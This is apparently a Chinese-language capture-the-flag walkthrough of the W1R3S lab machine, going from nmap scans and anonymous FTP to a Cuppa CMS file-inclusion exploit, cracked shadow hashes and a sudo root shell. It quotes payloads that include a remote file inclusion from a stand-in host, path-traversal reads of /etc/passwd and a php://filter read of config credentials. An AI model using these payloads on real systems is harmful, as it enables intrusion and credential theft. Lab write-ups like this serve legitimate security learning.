中國(guó)那個(gè)公司的網(wǎng)站做的最好看有什么平臺(tái)可以推廣
文章目錄
- w1r3s
- 主機(jī)發(fā)現(xiàn)
- 主機(jī)掃描
- 端口掃描
- tcp端口掃描
- UDP掃描
- 漏洞掃描
- 攻擊面分析
- FTP滲透
- 匿名登錄
- web滲透
- 目錄爆破
- cuppa cms文件包含漏洞getshell
- 提權(quán)
w1r3s
引言
近些日子看紅筆大佬的靶機(jī)精講視頻時(shí),他的一句話讓我感受頗深,很多視頻在講解時(shí),直接告訴你應(yīng)該這么想,不應(yīng)該那么想,但是其實(shí)在我們自己實(shí)戰(zhàn)中,到底怎么才能辨認(rèn)出什么信息是有用的?我們不應(yīng)該是去刻意記憶在某個(gè)滲透過程中的特定信息,而是仔細(xì)去分析,并在一次次的滲透經(jīng)歷中摸索經(jīng)驗(yàn),并不斷嘗試,在若干信息中突圍
主機(jī)發(fā)現(xiàn)
先ping一下kali的ip
主機(jī)掃描
sudo nmap -sn 192.168.236.0/24
用-sn參數(shù),(root下)發(fā)送arp請(qǐng)求(數(shù)據(jù)鏈路層的數(shù)據(jù)包),若果是非root用戶,則會(huì)發(fā)送tcp和icmp包。進(jìn)行輕量級(jí)的偵察,得到活動(dòng)的主機(jī)ip而不容易引起注意,有時(shí)候arp請(qǐng)求不會(huì)被所有主機(jī)響應(yīng),我們就可以通過icmp時(shí)間戳請(qǐng)求來進(jìn)行主機(jī)發(fā)現(xiàn)(–send-ip)
另外順道一提,紅隊(duì)筆記大佬說道,不建議在滲透過程中使用kali的root權(quán)限,還是用普通用戶更好,需要root的時(shí)候sudo即可,在進(jìn)行掃描階段的許多nmap指令都是需要root權(quán)限的,因此我就直接用root了,大家不要模仿!更規(guī)范的方式是每次都sudo。
啟動(dòng)靶機(jī)前后,這個(gè)ip是新增的192.168.236.131
由nmap的掃描結(jié)果可發(fā)現(xiàn)靶機(jī)的地址為192.168.200.139 。實(shí)際測(cè)試過程中,應(yīng)當(dāng)在靶機(jī)上線之前進(jìn)行一次掃描,靶機(jī)上線之后再掃描一次,對(duì)比發(fā)現(xiàn)上線的主機(jī),更方便確認(rèn)靶機(jī)的ip。下一步即針對(duì)這個(gè)ip進(jìn)行端口掃描。
端口掃描
tcp端口掃描
已經(jīng)拿到靶機(jī)的ip了,那我們下一步就是用nmap對(duì)這個(gè)ip進(jìn)行端口掃描,看看開放了哪些端口和服務(wù)。命令如下:
nmap -sT nmap –min-rate 10000 –p- 192.168.236.131 -oA nmapscan/ports
參數(shù)說明
默認(rèn)值:-sS
利用tcp協(xié)議的SYN標(biāo)志位來探測(cè)目標(biāo)主機(jī)的開放端口,發(fā)送一個(gè)SYN包,只建立第一步鏈接
這里指定-sT
發(fā)送完整的tcp三次握手請(qǐng)求,準(zhǔn)確率更高,但流量和速度指標(biāo)要求較高,還能夠防止某些主機(jī)waf過濾了單個(gè)SYN包的情況
nmap –min-rate 10000
10000是一個(gè)合理的速率,紅隊(duì)行動(dòng)中會(huì)更慢
–p-
-p是默認(rèn)1000個(gè)端口
指定-是掃描所有65535個(gè)端口
如果端口太多,手動(dòng)一個(gè)一個(gè)輸不夠優(yōu)雅,將開放的端口號(hào)提取出來并賦給ports這個(gè)變量,使用時(shí)只需要輸入$port然后按下Tab補(bǔ)全
ports=$(grep open nmapscan/ports.nmap | awk -F'/' '{print $1}' | paste -sd ',')
nmap -sT -sV -sC -O -p21,22,80,3306 192.168.236.131 -oA nmapscan/portdetail
參數(shù)說明
-sT 指定tcp掃描 發(fā)送tcp三次握手
-sV 探測(cè)端口服務(wù)及版本
-sC 默認(rèn)腳本目錄
-O 探測(cè)操作系統(tǒng)
掃描結(jié)果
Nmap 7.94 scan initiated Mon Jul 29 11:08:13 2024 as: nmap -sT -sV -sC -O -p21,22,80,3306 -oA nmapscan/portdetail 192.168.236.131
Nmap scan report for 192.168.236.131
Host is up (0.00030s latency).PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 content
| drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 docs
|_drwxr-xr-x 2 ftp ftp 4096 Jan 28 2018 new-employees
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.236.128
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 07:e3:5a:5c:c8:18:65:b0:5f:6e:f7:75:c7:7e:11:e0 (RSA)
| 256 03:ab:9a:ed:0c:9b:32:26:44:13:ad:b0:b0:96:c3:1e (ECDSA)
|_ 256 3d:6d:d2:4b:46:e8:c9:a3:49:e0:93:56:22:2e:e3:54 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3306/tcp open mysql MySQL (unauthorized)
MAC Address: 00:0C:29:4B:A9:49 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.9 (97%), Linux 5.1 (94%), Linux 3.13 - 3.16 (93%), Linux 4.10 (93%), Linux 3.4 - 3.10 (93%), Linux 4.4 (92%), Linux 3.10 (92%), Linux 3.16 - 4.6 (91%), Linux 2.6.32 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: W1R3S.inc; OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 29 11:08:33 2024 -- 1 IP address (1 host up) scanned in 20.10 seconds
UDP掃描
sudo nmap -sU --top-ports 20 192.168.236.131 -oA nmapscan/udp
參數(shù)說明
-sU 指定udp掃描
–top-ports 20 指定常用默認(rèn)20個(gè)端口
nmap -sU -p21,22,80,3306 192.168.236.131
UDP掃描結(jié)果如上圖,結(jié)果表明3306端口關(guān)閉,其他三個(gè)端口是開放/被過濾狀態(tài)
漏洞掃描
nmap -script=vuln -p21,22,80,3306 192.168.236.131 -oA nmapscan/vuln
然后我們?cè)偈褂胣map中自帶的腳本vuln進(jìn)行漏洞掃描。nmap里面的腳本會(huì)對(duì)端口的歷史常見漏洞進(jìn)行掃描探測(cè),如果這一步就能發(fā)現(xiàn)可利用的漏洞,對(duì)后續(xù)的操作會(huì)很有啟發(fā)。 --script=vuln表示使用腳本vuln進(jìn)行掃描,vuln是vulnrability的縮寫,這個(gè)腳本也會(huì)更新,不斷加入新的漏洞檢測(cè)。
攻擊面分析
一共有四個(gè)端口:21,22,80,3306。
(1)80端口是http的web端口,且已經(jīng)知道里面可能有wordpress的cms,具有較大的攻擊面。這應(yīng)該是最有可能的突破口
(2)22是ssh遠(yuǎn)程登錄端口,通常沒啥漏洞,但是也不絕對(duì),有可能存在弱口令或者暴力破解登錄啥的,但這不是我們直接入手的角度,應(yīng)該放在最后考慮。
(3)21端口是ftp文件傳輸協(xié)議的端口,有可能存在匿名登錄,FTP服務(wù)器中也可能有一些信息,也有一定的攻擊面。FTP的突破口比較單一,操作比較容易。
(4)3306端口是MySQL數(shù)據(jù)庫(kù)的端口,前面漏洞掃描也并沒有發(fā)現(xiàn)太多的思路,不過如果能登錄數(shù)據(jù)庫(kù),應(yīng)該也有信息。
綜上,80端口是最有可能的突破口,但是由于FTP可能存在匿名登錄,21端口的操作比較容易,我們不妨先試試21端口,再看80端口,接著看3306數(shù)據(jù)庫(kù),最后嘗試22遠(yuǎn)程登錄。
FTP滲透
匿名登錄
ftp 192.168.236.131
匿名登錄:
username:anonymous
password:空
成功登陸后將里面的文件都下載
cd content
mget 0*.txt
...
cat 02.txt
01ec2d8fc11c493b25029fb1f47f39ce
hash-identifier查詢得到是md5,再去在線解密
SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==
明文It is easy, but not that easy…
用于解密字符串上下前后翻轉(zhuǎn)的在線網(wǎng)站
Upside Down Text | Flip Text, Type Upside Down, or Backwards Text
? qoυ?? ???υ? ???? ?? ??? ??? ?o ?oo??
? boυ?t th?υk th?? ?? the way to root! 密文
puno?? ?u????d do?s ‘op o? ??o? ?o ?o? ? ???? ??
**we have a ?ot of work to do‘ stop p?ay?ng around ** 密文
cat employee-names.txt
拿到公司員工信息,用戶名&職務(wù)
ascii generator生成ASCII藝術(shù)字體
web滲透
直接訪問http://192.168.236.131/能看到ubantu操作系統(tǒng)apache搭建服務(wù)的默認(rèn)頁(yè),這個(gè)頁(yè)面可能隱藏了一些開發(fā)人員留下的信息,需要我們?yōu)g覽一遍,再審計(jì)一下源代碼,發(fā)現(xiàn)沒有什么有用的信息,進(jìn)行下一步目錄爆破
目錄爆破
這里爆出了這幾個(gè)目錄
/wordpress/wp-login.php
/administrator/ -> installation/
/javascript
先訪問/javascript試試,發(fā)現(xiàn)無權(quán)限進(jìn)行訪問
/wordpress訪問后返回本地localhost,估計(jì)沒戲
訪問/administrator,得到一個(gè)installation界面
這里暴露了cms是cuppa,這是一個(gè)cms框架的安裝頁(yè)面,顯示了需要的環(huán)境版本等信息,這里只有一個(gè)next交互按鍵,紅筆大佬說,我們每一步的操作都需要謹(jǐn)慎,考慮是否會(huì)影響正常服務(wù)器的運(yùn)行,操作是否會(huì)被上報(bào)給管理員,在我們對(duì)滲透操作進(jìn)行充分評(píng)估后,我們選擇點(diǎn)擊next
填寫完信息后,點(diǎn)擊next提示創(chuàng)建成功,但Administrator創(chuàng)建失敗
cuppa cms文件包含漏洞getshell
這里不再嘗試,可能會(huì)存在sql注入等漏洞,先用searchsploit搜索一下cuppa cms是否有漏洞,照理來說,只要是有人使用的cms框架,就應(yīng)該會(huì)或多或少存在漏洞
這里找到了一個(gè)遠(yuǎn)程文件包含漏洞,我們把這個(gè)25971.txt下載下來看看怎么利用 :
searchsploit cuppa -m 25971.txt //-m指mirro,鏡像拉取
25971.txt文件內(nèi)容
# Exploit Title : Cuppa CMS File Inclusion
# Date : 4 June 2013 //2013年的一個(gè)很老的洞
# Exploit Author : CWH Underground
# Site : www.2600.in.th
# Vendor Homepage : http://www.cuppacms.com/ //官網(wǎng)
# Software Link : http://jaist.dl.sourceforge.net/project/cuppacms/cuppa_cms.zip //軟件鏈接
# Version : Beta
# Tested on : Window and Linux //只要使用了cuppa這個(gè)cms,對(duì)于window和linux機(jī)器都適用,--^----------,--------,-----,-------^--,| ||||||||| `--------' | O .. CWH Underground Hacking Team ..`+---------------------------^----------|`\_,-------, _________________________|/ XXXXXX /`| // XXXXXX / `\ // XXXXXX /\______(/ XXXXXX // XXXXXX /(________(`------'####################################
VULNERABILITY: PHP CODE INJECTION
####################################/alerts/alertConfigField.php (LINE: 22)-----------------------------------------------------------------------------
LINE 22:<?php include($_REQUEST["urlConfig"]); ?>
-----------------------------------------------------------------------------#####################################################
DESCRIPTION //描述
#####################################################An attacker might include local or remote PHP files or read non-PHP files with this vulnerability. User tainted data is used when creating the file name that will be included into the current file. PHP code in this file will be evaluated, non-PHP code will be embedded to the output. This vulnerability can lead to full server compromise.
攻擊者可能包含帶有此漏洞的本地或遠(yuǎn)程PHP文件或讀取非PHP文件。在創(chuàng)建將包含在當(dāng)前文件中的文件名時(shí)使用用戶污染數(shù)據(jù)。該文件中的PHP代碼將被計(jì)算,非PHP代碼將嵌入到輸出中。此漏洞可能導(dǎo)致整個(gè)服務(wù)器被破壞。http://target/cuppa/alerts/alertConfigField.php?urlConfig=[FI]#####################################################
EXPLOIT //漏洞利用
#####################################################http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwdMoreover, We could access Configuration.php source code via PHPStreamFor Example: //例子
-----------------------------------------------------------------------------
http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php
-----------------------------------------------------------------------------Base64 Encode Output: //base64編碼的輸出
-----------------------------------------------------------------------------
PD9waHAgCgljbGFzcyBDb25maWd1cmF0aW9uewoJCXB1YmxpYyAkaG9zdCA9ICJsb2NhbGhvc3QiOwoJCXB1YmxpYyAkZGIgPSAiY3VwcGEiOwoJCXB1YmxpYyAkdXNlciA9ICJyb290IjsKCQlwdWJsaWMgJHBhc3N3b3JkID0gIkRiQGRtaW4iOwoJCXB1YmxpYyAkdGFibGVfcHJlZml4ID0gImN1XyI7CgkJcHVibGljICRhZG1pbmlzdHJhdG9yX3RlbXBsYXRlID0gImRlZmF1bHQiOwoJCXB1YmxpYyAkbGlzdF9saW1pdCA9IDI1OwoJCXB1YmxpYyAkdG9rZW4gPSAiT0JxSVBxbEZXZjNYIjsKCQlwdWJsaWMgJGFsbG93ZWRfZXh0ZW5zaW9ucyA9ICIqLmJtcDsgKi5jc3Y7ICouZG9jOyAqLmdpZjsgKi5pY287ICouanBnOyAqLmpwZWc7ICoub2RnOyAqLm9kcDsgKi5vZHM7ICoub2R0OyAqLnBkZjsgKi5wbmc7ICoucHB0OyAqLnN3ZjsgKi50eHQ7ICoueGNmOyAqLnhsczsgKi5kb2N4OyAqLnhsc3giOwoJCXB1YmxpYyAkdXBsb2FkX2RlZmF1bHRfcGF0aCA9ICJtZWRpYS91cGxvYWRzRmlsZXMiOwoJCXB1YmxpYyAkbWF4aW11bV9maWxlX3NpemUgPSAiNTI0Mjg4MCI7CgkJcHVibGljICRzZWN1cmVfbG9naW4gPSAwOwoJCXB1YmxpYyAkc2VjdXJlX2xvZ2luX3ZhbHVlID0gIiI7CgkJcHVibGljICRzZWN1cmVfbG9naW5fcmVkaXJlY3QgPSAiIjsKCX0gCj8+
-----------------------------------------------------------------------------Base64 Decode Output: //base64編碼再解碼的輸出
-----------------------------------------------------------------------------
<?phpclass Configuration{public $host = "localhost";public $db = "cuppa";public $user = "root";public $password = "Db@dmin";public $table_prefix = "cu_";public $administrator_template = "default";public $list_limit = 25;public $token = "OBqIPqlFWf3X";public $allowed_extensions = "*.bmp; *.csv; *.doc; *.gif; *.ico; *.jpg; *.jpeg; *.odg; *.odp; *.ods; *.odt; *.pdf; *.png; *.ppt; *.swf; *.txt; *.xcf; *.xls; *.docx; *.xlsx";public $upload_default_path = "media/uploadsFiles";public $maximum_file_size = "5242880";public $secure_login = 0;public $secure_login_value = "";public $secure_login_redirect = "";}
?>
-----------------------------------------------------------------------------Able to read sensitive information via File Inclusion (PHP Stream)################################################################################################################Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
我們嘗試用http://target/cuppa/alerts/alertConfigField.php?urlConfig=…/…/…/…/…/…/…/…/…/etc/passwd去訪問一下,將里面的target換成靶機(jī)ip
發(fā)現(xiàn)并沒有回顯
這里只能重新構(gòu)造一下我們的payload,只能去試錯(cuò)
將cuppa根目錄改為administrator試一下http://target/administrator/alerts/alertConfigField.php?urlConfig=…/…/…/…/…/…/…/…/…/etc/passwd發(fā)現(xiàn)網(wǎng)頁(yè)有反應(yīng)了 ,但還是沒有有用的信息
這時(shí)只能去進(jìn)行代碼審計(jì),去cms官方github找到alertConfigField.php
CuppaCMS/alerts/alertConfigField.php at master · CuppaCMS/CuppaCMS · GitHub
進(jìn)行代碼審計(jì),發(fā)現(xiàn)urlConfig是以post方式接受的
使用curl工具進(jìn)行發(fā)包curl --help all | grep url
查看指令幫助
可以看到–data-urlencode 這個(gè)參數(shù)使用POST傳參并url編碼
kali執(zhí)行命令
curl --data-urlencode 'urlConfig=../../../../../../../../etc/passwd'http://192.168.236.131/administrator/alerts/alertConfigField.php
將帶有hash值的拿出來用john解密
www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::
vim shadow.hash
命令行模式的命令
命令 說明
:q! 強(qiáng)制退出vim,不保存
:q 退出vim
:wq! 強(qiáng)制保存并退出vim
:w <文件路徑> 另存為
:saveas <文件路徑> 另存為
:x 保存并退出vim
:wq 保存并退出vim
:set nu 顯示行號(hào)
:set shiftwidth=10 設(shè)置縮進(jìn)為10個(gè)字符,以此類推(輸入Esc回到普通模式,再次嘗試>>看縮進(jìn)是否變化)
:ce(center) 本行內(nèi)容居中
:ri(right) 本行內(nèi)容居右
:le(left) 本行內(nèi)容居左
破解出來兩個(gè)賬戶的密碼
嘗試ssh連接,輸入密碼
成功登錄
id指令看到w1r3s用戶是有sudo權(quán)限的
提權(quán)
看是否能提權(quán)sudo -l ,輸入密碼
(ALL :ALL)ALL表示這個(gè)用戶基本就等于root,擁有所有權(quán)限
直接sudo /bin/bash 啟動(dòng)一個(gè)新的bash會(huì)話,提權(quán)成功